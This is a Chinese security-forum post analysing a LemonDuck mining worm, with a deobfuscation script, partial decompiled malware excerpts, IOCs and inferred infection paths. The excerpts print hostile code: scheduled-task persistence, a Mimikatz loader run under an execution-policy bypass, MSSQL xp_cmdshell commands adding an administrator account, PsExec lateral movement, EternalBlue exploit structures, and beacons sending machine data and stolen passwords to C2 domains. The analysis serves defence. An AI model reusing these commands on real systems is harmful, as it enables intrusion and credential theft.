吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 927|回复: 2
收起左侧

[PC样本分析] LemonDuck挖矿病毒样本分析

[复制链接]
INT3o 发表于 2026-2-22 21:29
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 INT3o 于 2026-2-24 11:02 编辑

LemonDuck挖矿病毒样本分析

该样本来自于帖子https://www.52pojie.cn/thread-2092034-1-1.html 。正好近期在做病毒分析,顺手分析并记录一下。

病毒附件

贴主给了个压缩包,一个ipc.txt,另一个exe是用pyinstaller打包的exe。

压缩包文件

压缩包文件

exe -> pyc -> py

首先使用https://github.com/saucer-man/exe2py 中的工具将exe转为pyc目录,目录下可以看到如下文件,这里很容易发现ii.pyc就是主程序

exe2py结果

exe2py结果

然后使用uncompyle6恢复为python文件即可,看到下面内容

反编译python代码结果

反编译python代码结果

代码逻辑就是先base64解码下面那一段,然后bz2解压后执行。从导入的库可以判断可能利用了SMB,并且有网络通信能力,显然是一个恶意软件。(如果你对该python程序感兴趣,请在文末附件处下载,密码52pojie)

深入分析

首先将这段base64解码,得到一个压缩包,然后解压该压缩包可以得到另一个python脚本,该脚本进行了简单的命名混淆,不过恶意逻辑依然清晰可见

image-20260222192715897.png

image-20260222201801321.png

image-20260222202037306.png

可以根据替换逻辑写一个脚本,还原该python程序

import re
import sys
import os

def deobfuscate_file(input_filepath, output_filepath):
    """
    读取混淆的 Python 脚本,提取变量别名映射,并还原代码。
    """
    if not os.path.exists(input_filepath):
        print(f"[-] 错误: 找不到输入文件 {input_filepath}")
        return

    with open(input_filepath, 'r', encoding='utf-8', errors='ignore') as f:
        content = f.read()

    # 1. 提取映射关系
    # 正则表达式匹配这种格式: JNwMqWYxxx = yyy
    # 针对你提供的样本,变量名都以 JNwMqWY 开头
    assignment_pattern = re.compile(r'^(JNwMqWY[a-zA-Z0-9_]+)\s*=\s*(.+)$', re.MULTILINE)

    mappings = {}
    for match in assignment_pattern.finditer(content):
        obfuscated_var = match.group(1).strip()
        original_value = match.group(2).strip()
        mappings[obfuscated_var] = original_value

    print(f" 扫描完毕,共发现 {len(mappings)} 个混淆变量映射。")

    # 2. 打印部分映射关系供人工确认
    print(" 映射示例:")
    for k, v in list(mappings.items())[:5]:
        print(f"    {k} -> {v}")
    print("    ...")

    # 3. 全局替换还原代码
    deobfuscated_content = content
    # 按变量名长度降序排序,防止部分替换(例如替换了 var1,导致 var11 被破坏)
    for obf_var in sorted(mappings.keys(), key=len, reverse=True):
        real_val = mappings[obf_var]
        # 使用 \b 确保只替换完整的单词边界,不会误伤其他包含该字符串的变量
        replace_regex = r'\b' + re.escape(obf_var) + r'\b'
        deobfuscated_content = re.sub(replace_regex, real_val, deobfuscated_content)

    # 4. 可选清理:将原始的赋值语句注释掉或删除,让代码更干净
    # 这里我们选择将匹配到的赋值语句整行注释掉
    deobfuscated_content = re.sub(r'^(JNwMqWY[a-zA-Z0-9_]+\s*=.*)$', r'# [已还原] \1', deobfuscated_content, flags=re.MULTILINE)

    # 5. 保存结果
    with open(output_filepath, 'w', encoding='utf-8') as f:
        f.write(deobfuscated_content)

    print(f"[+] 还原成功!清理后的代码已保存至: {output_filepath}")

if __name__ == "__main__":
    # 通过命令行传入参数
    if len(sys.argv) == 3:
        input_file = sys.argv[1]
        output_file = sys.argv[2]
    else:
        print("Usage: python deobfuse.py input_file output_file")
        exit(0)

    deobfuscate_file(input_file, output_file)

还原之后可以发现该脚本分为以下几个部分,下面是直接使用AI进行分析得到的

第一部分:初始化、自保与自我更新机制

这部分主要位于脚本的开头和异常处理块中,依赖 mmap 检查内存标志,并通过执行系统命令覆盖旧版本进程。

# 1. 单实例检查
myapp=singleinstance()
if myapp.aleradyrunning():
 print "program is already running"
 sys.exit()

# 2. 版本比对与自我更新 (截取部分)
def JNwMqWYAE(file): # MD5 计算函数
 md5=hashlib.md5()
 md5.update(open(file).read())
 return md5.hexdigest()

# 检查 mmap 标签 'path'
with contextlib.closing(mmap.mmap(-1,1024,tagname='path',access=mmap.ACCESS_READ))as m:
 s=m.read(1024).replace('\x00','')
 # ... 如果发现新版本 (ver > v):
 if int(ver)>int(v):
  print "new version,kill&update"
  # 杀掉旧进程并覆盖文件
  keb=subprocess.Popen('cmd /c taskkill /f /im '+s.split("\\")[-1]+'&wmic process where name="'+s.split("\\")[-1]+'" call terminate...© /y '+os.path.realpath(sys.argv[0])+' '+s,stdout=subprocess.PIPE)
  # 创建计划任务实现持久化
  keb2=subprocess.Popen('cmd /c if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 15 /st 07:05:00 /tn update /tr "'+os.path.realpath(sys.argv[0])+'" /F) ...')

第二部分:目标侦察与 IP 生成 (Reconnaissance)

这部分对应 JNwMqWYAc (获取真实网段) 和 JNwMqWYAB (生成随机外网IP) 两个函数。

# 1. 获取本地及关联网段
def JNwMqWYAc():
 global iplist2
 # 提取本地网卡 IP
 ipconfig_process=subprocess.Popen("ipconfig /all",stdout=subprocess.PIPE)
 output=ipconfig_process.stdout.read()
 result=re.findall(r"\b(?:(?:25[0-5]|...)\b",output)
 # ... (转换为 /24 网段并加入 iplist)

 # 提取网络连接中的 IP
 netstat_process=subprocess.Popen("netstat -na",stdout=subprocess.PIPE)
 # ...

 # 获取外网真实 IP
 try:
  ipp1=urlopen('http://ip.42.pl/raw',timeout=3).read()
  # ...
 return iplist2

# 2. 随机生成公网 IP 用于盲扫
def JNwMqWYAB(numb):
 del nip[:]
 for n in xrange(numb):
  ipp=socket.inet_ntoa(struct.pack('>I',random.randint(1,0xffffffff)))
  ipp=ipp.split('.')[0]+'.'+ipp.split('.')[1]+'.'+ipp.split('.')[2]+'.1/24'
  nip.append(ipp)
 return nip

第三部分:凭据窃取与收割 (Credential Harvesting)

核心逻辑在 JNwMqWYOc 函数中,负责释放之前那段超长的 Mimikatz Base64 并执行抓密。

def JNwMqWYOc():
 # ... 写入 m2.ps1 (包含 Mimikatz 加载器)
 fm=open("\\".join(os.path.realpath(sys.argv[0]).split("\\")[:-1])+"\m2.ps1","w")
 fm.write(mkatz) 
 fm.close()

 # 调用 PowerShell 绕过执行策略运行 Mimikatz
 usr=subprocess.Popen("powershell.exe -exec bypass \"import-module "+"\\".join(os.path.realpath(sys.argv[0]).split("\\")[:-1])+"\\m2.ps1\"",stdout=subprocess.PIPE)
 musr=usr.stdout.read()
 # 将结果写入 mkatz.ini 缓存
 fmk=open("\\".join(os.path.realpath(sys.argv[0]).split("\\")[:-1])+"\\mkatz.ini","w")

 # 解析抓取到的明文密码和 Hash,加入爆破字典
 if "* LM" in musr:
  mmlist=musr.split('* LM')
  # ... 提取 Username 和 Password 加入 userlist2 和 passlist
 if "* NTLM" in musr:
  mmlist=musr.split('* NTLM')
  # ... 提取 NTHash 加入 ntlist

第四部分:弱口令爆破与横向移动 (Lateral Movement)

这部分涵盖了 1433 (MSSQL) 和 445 (SMB) 的攻击函数。

# 1. 针对 MSSQL 的 1433 爆破 (JNwMqWYAF 函数)
def JNwMqWYAF(host):
 if JNwMqWYAt(host,1433)==1: # 端口开放检测
  for muser in msuser:
   for password in passlist: # 遍历刚才抓到的密码和自带弱口令
    try:
     db=_mssql.connect(server=host,port=1433,user=muser,password=password)
     # 开启 xp_cmdshell 并执行添加影子账户、改防火墙规则的恶意命令
     db.execute_query("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;")
     db.execute_query("xp_cmdshell 'net user k8h3d k8d3j9SjfS7 /ADD && net localgroup administrators k8h3d /ADD...'")
     # ...

# 2. 针对 SMB 的 PsExec 横向移动 (JNwMqWYAh 等函数)
def JNwMqWYAh(ip,fr):
 # 如果拿到了域管密码,直接 psexec 过去执行远端命令下载载荷
 if len(domainsmb)!=0:
  if PSEXEC(ee2,dl,'cmd.exe /c echo '+JNwMqWYAj()+' >> c:\\windows\\temp\\svchost.exe...',domainsmb[0].split("*")[0],...).run(ip):
   print "SMBdomain admin Succ! "+ip

第五部分:MS17-010 (EternalBlue) 漏洞利用

代码中拥有极高特征的结构体和内存偏移定义,以及触发内核池溢出的逻辑。

# 1. 不同系统架构的偏移量定义 (用于精准覆盖内存)
WIN7_64_SESSION_INFO={'SESSION_SECCTX_OFFSET':0xa0,'SESSION_ISNULL_OFFSET':0xba,'FAKE_SECCTX':pack('<IIQQIIB',0x28022a,1,0,0,2,0,1),'SECCTX_SIZE':0x28,}
# ... 
OS_ARCH_INFO={'WIN7':{'x86':JNwMqWYAG(X86_INFO,WIN7_32_TRANS_INFO,WIN7_32_SESSION_INFO), ...}}

# 2. 伪造 SRVNET 缓冲区结构 (内核溢出的核心载荷)
TARGET_HAL_HEAP_ADDR_x64=0xffffffffffd00010
fakeSrvNetBufferNsa=pack('<II',0x11000,0)*2
# ... (拼装用于劫持执行流的恶意 Buffer)

# 3. 触发漏洞 (JNwMqWYAs / JNwMqWYAP 函数)
def JNwMqWYAs(target,shellcode,numGroomConn):
 # ... 建立大量空连接池 (Pool Grooming) 整理内存碎片
 srvnetConn=[]
 for i in range(numGroomConn):
  sk=JNwMqWYAg(target)
  srvnetConn.append(sk)
 # 发送伪造的特征数据 (feaList) 造成越界覆盖,并附带 Shellcode (变量 sc)
 JNwMqWYAb(conn,tid,feaList[progress:],progress)
 for sk in srvnetConn:
  sk.send(fake_recv_struct+shellcode)

第六部分:C2 通信与后门指令 (Command & Control)

病毒通过 HTTP GET 请求进行“上线”打点并接收指令,位于 JNwMqWYOV 守护线程函数中。

def JNwMqWYOV():
 # 拼接本机信息作为请求参数 (机器名、MAC、系统架构、抓到的密码等)
 try:
  png=''
  png=urllib2.urlopen('http://info.ackng.com/e.png?id='+str(pcname)+'&mac='+str(mac)+"&OS="+oss+"&BIT="+bit+"&IT="+mtime+'&mpass='+mpass+'&sa='+sa,timeout=3).read()
 except:
  pass
 # 备用 C2 域名
 try:
  png2=urllib2.urlopen('http://info.beahh.com/e.png?...',timeout=3).read()
 except:
  pass

 # 如果 C2 服务器返回了数据 (伪装成 png 内容),交由 CmdReader 解析执行
 if len(png)>10:
  try:
   pngg.append(cmdreader.CmdReader().getCmd(png))
  except:
   pass

 # ... 解析结果并在本地用 subprocess 下载/执行新载荷

归因

在脚本中发现相关域名均归因于LemonDuck

微步分析恶意域名

微步分析恶意域名

IOCs

  • 恶意域名w.beahh.com, info.ackng.com, info.abbny.com
  • 异常文件路径c:\windows\temp\svchost.exe, mkatz.ini, m2.ps1
  • 异常计划任务名称\Microsoft\windows\Bluetool, Autocheck, escan
  • 异常本地账户k8h3d

感染路径推测

公网

MSSQL 弱口令 (端口 1433 暴露)

  • 推测过程: 数据库管理员为了方便,将 1433 端口映射到了公网,且系统管理员账号 sa 使用了弱口令(如代码字典里的 sa123sql2008 等)。
  • 植入动作: 攻击者在外网爆破成功后,利用 xp_cmdshell 执行系统命令,通过 PowerShell 的 Net.WebClient 直接从恶意 C2 域名(如 w.beahh.com)拉取病毒母体(通常伪装成 svchost.exeupdate.exe)并运行。

未修复的 SMB 漏洞 (端口 445 暴露)

  • 推测过程: 主机的 445 端口暴露在外网,且系统尚未安装 MS17-010(永恒之蓝)的安全补丁。
  • 植入动作: 攻击节点发送特制的 SMB 数据包触发内核池溢出,直接在系统内存中执行 Shellcode,接管机器并下载上述恶意模块。

Web 应用漏洞 (虽然代码未体现,但常见于此类僵尸网络)

  • 推测过程: 主机上运行着存在 RCE(远程代码执行)漏洞的 Web 服务(如 ThinkPHP、WebLogic、Tomcat 弱口令等)。攻击者利用 Web 漏洞拿到 WebShell 后,植入这段 Python 编译的蠕虫脚本,让服务器沦为新的扫描节点。

内网横向

在这段代码中,病毒会收集本机的 ARP 表、路由表和 ipconfig 信息,生成内网 IP 列表,并对整个 /24 网段发起无差别攻击。这台主机大概率死于以下三种内网横向攻击之一:

  1. 内网永恒之蓝攻击:局域网内没有防火墙隔离 445 端口,且本机的系统比较老旧(如 Win7、Win2008)未打补丁。
  2. SMB 密码爆破/哈希传递 (Pass-the-Hash):内网其他被感染的主机运行了代码中的 Mimikatz 模块,抓取到了某位域管理员或本地管理员的明文密码/NTLM Hash。由于内网机器常常密码复用,病毒直接拿着这些凭据,通过 PsExec 登录到了这台主机并植入了木马。
  3. 内网 MSSQL 沦陷:内网的数据库服务器由于 sa 弱口令被蠕虫的内置字典命中。


download.zip (1.36 MB, 下载次数: 16)

免费评分

参与人数 6吾爱币 +6 热心值 +6 收起 理由
ftasy + 1 + 1 谢谢@Thanks!
junjia215 + 1 + 1 用心讨论,共获提升!
179836774 + 1 + 1 我很赞同!
芬达丶 + 1 + 1 谢谢@Thanks!
dongxie + 1 + 1 我很赞同!
iamPorter + 1 + 1 鼓励转贴优秀软件安全工具和文档!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

SkullcrownTvTSk 发表于 2026-2-25 05:27
感谢大佬
ftasy 发表于 2026-3-4 11:13
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-3-4 16:46

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表